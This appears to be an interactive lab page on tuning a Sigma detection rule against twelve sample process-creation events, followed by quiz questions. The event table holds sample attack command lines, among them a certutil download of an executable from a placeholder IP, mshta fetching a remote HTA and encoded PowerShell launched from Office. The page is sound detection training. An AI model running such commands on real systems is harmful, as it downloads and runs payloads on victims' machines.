Sigma rule builder
Build a Sigma rule from selections and filters, run it against twelve process events, and tune it until it catches every malicious one and nothing else.
Goal
Twelve process creation events came from one afternoon of EDR telemetry. Five are malicious and seven are normal work, including two that look suspicious and are not.
Six detection blocks are already written. Write the condition that combines them, run it against the events, and tune it until it catches every malicious event and nothing else.
Detection blocks
- An Office application is the parent
- The child is a shell or script host
- PowerShell with an encoded command
- certutil used as a downloader
- Parent is the Configuration Manager agent
- The finance team’s approved Excel refresh script
3 of 5 malicious caught · 1 false positive · 2 missed
| # | Parent → Image | CommandLine | Matched | Alert | Ground truth |
|---|---|---|---|---|---|
| 1 | WINWORD.EXE → powershell.exe | powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA | sel_parent_office, sel_child_shell, sel_encoded | alert | malicious |
| 2 | OUTLOOK.EXE → mshta.exe | mshta.exe http://invoice-portal.example/view.hta | sel_parent_office, sel_child_shell | alert | malicious |
| 3 | cmd.exe → certutil.exe | certutil.exe -urlcache -split -f http://203.0.113.50/a.txt C:\Users\Public\a.exe | sel_certutil | quiet | malicious (missed) |
| 4 | explorer.exe → powershell.exe | powershell.exe -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA= | sel_child_shell, sel_encoded | quiet | malicious (missed) |
| 5 | CcmExec.exe → powershell.exe | powershell.exe -NoProfile -enc RwBlAHQALQBIAG8AdABGAGkAeAA= | sel_child_shell, sel_encoded, filter_sccm | quiet | benign |
| 6 | EXCEL.EXE → cmd.exe | cmd.exe /c "C:\Finance\refresh.bat" | sel_parent_office, sel_child_shell, filter_finance | alert | benign (false positive) |
| 7 | explorer.exe → powershell.exe | powershell.exe -File C:\Scripts\backup.ps1 | sel_child_shell | quiet | benign |
| 8 | explorer.exe → WINWORD.EXE | WINWORD.EXE /n "C:\Users\ana\report.docx" | — | quiet | benign |
| 9 | services.exe → certutil.exe | certutil.exe -verify C:\certs\root.cer | — | quiet | benign |
| 10 | WINWORD.EXE → splwow64.exe | splwow64.exe 8192 | sel_parent_office | quiet | benign |
| 11 | cmd.exe → PING.EXE | ping -n 1 10.0.0.1 | — | quiet | benign |
| 12 | EXCEL.EXE → wscript.exe | wscript.exe C:\Users\ben\AppData\Local\Temp\inv.vbs | sel_parent_office, sel_child_shell | alert | malicious |
Steps
01Write a condition that alerts on all five malicious events and none of the seven benign ones.
Do this in the workbench above. This step completes itself when the condition is met.
02How many malicious events does the starter condition miss?
03Event 5 is Configuration Manager running encoded PowerShell. What is the better way to stop that alert?
04The rule says \powershell.exe, but events can show POWERSHELL.EXE. Does it still match?
05This rule uses the process_creation category. Which Sysmon event ID records process creation?